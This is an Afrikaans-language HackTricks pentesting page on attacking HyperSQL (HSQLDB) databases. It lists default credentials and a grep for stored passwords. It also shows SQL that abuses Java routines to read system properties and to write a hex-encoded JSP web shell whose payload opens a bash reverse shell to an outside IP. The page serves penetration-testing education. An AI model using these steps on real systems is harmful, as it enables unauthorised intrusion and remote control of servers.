5.3 KiB
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsieplanne!
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
HSQLDB (HyperSQL DataBase) is die toonaangewende SQL relationele databasisstelsel geskryf in Java. Dit bied 'n klein, vinnige multithreaded en transaksionele databasis enjin met in-geheue en skyf-gebaseerde tabelle en ondersteun ingebedde en bediener modi.
Standaard poort: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Inligting
Standaard Instellings
Let daarop dat hierdie diens waarskynlik standaard in geheue loop of aan localhost gekoppel is. As jy dit gevind het, het jy waarskynlik 'n ander diens uitgebuit en soek jy om regte te verhoog.
Standaard geloofsbriewe is gewoonlik sa
met 'n leë wagwoord.
As jy 'n ander diens uitgebuit het, soek na moontlike geloofsbriewe met behulp van
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Note die databasenaam versigtig - jy sal dit nodig hê om te verbind.
Inligting Versameling
Verbind met die DB-instansie deur HSQLDB af te laai en hsqldb/lib/hsqldb.jar
uit te pak. Voer die GUI-toepassing eww
uit met java -jar hsqldb.jar
en verbind met die instansie met die ontdekte/swak geloofsbriewe.
Let daarop dat die verbindings-URL iets soos hierdie vir 'n afstandstelsel sal lyk: jdbc:hsqldb:hsql://ip/DBNAME
.
Truuks
Java Taal Routines
Ons kan statiese metodes van 'n Java-klas vanaf HSQLDB aanroep deur Java Taal Routines. Neem kennis dat die aangeroep klas in die toepassing se klaspad moet wees.
JRTs kan funksies
of prosedures
wees. Funksies kan via SQL-verklarings aangeroep word as die Java-metode een of meer SQL-compatibele primitiewe veranderlikes teruggee. Hulle word aangeroep met die VALUES
verklaring.
As die Java-metode wat ons wil aanroep void teruggee, moet ons 'n prosedure gebruik wat met die CALL
verklaring aangeroep word.
Lees Java Stelsels Eienskappe
Skep funksie:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Voer funksie uit:
VALUES(getsystemproperty('user.name'))
You can find a list of system properties here.
Skryf Inhoud na Lêer
You can use the com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java gadget located in the JDK auto loaded into the class path of the application
to write hex-encoded items to disk via a custom procedure. Let op die maksimum grootte van 1024 bytes.
Skep prosedure:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Voer prosedure uit:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.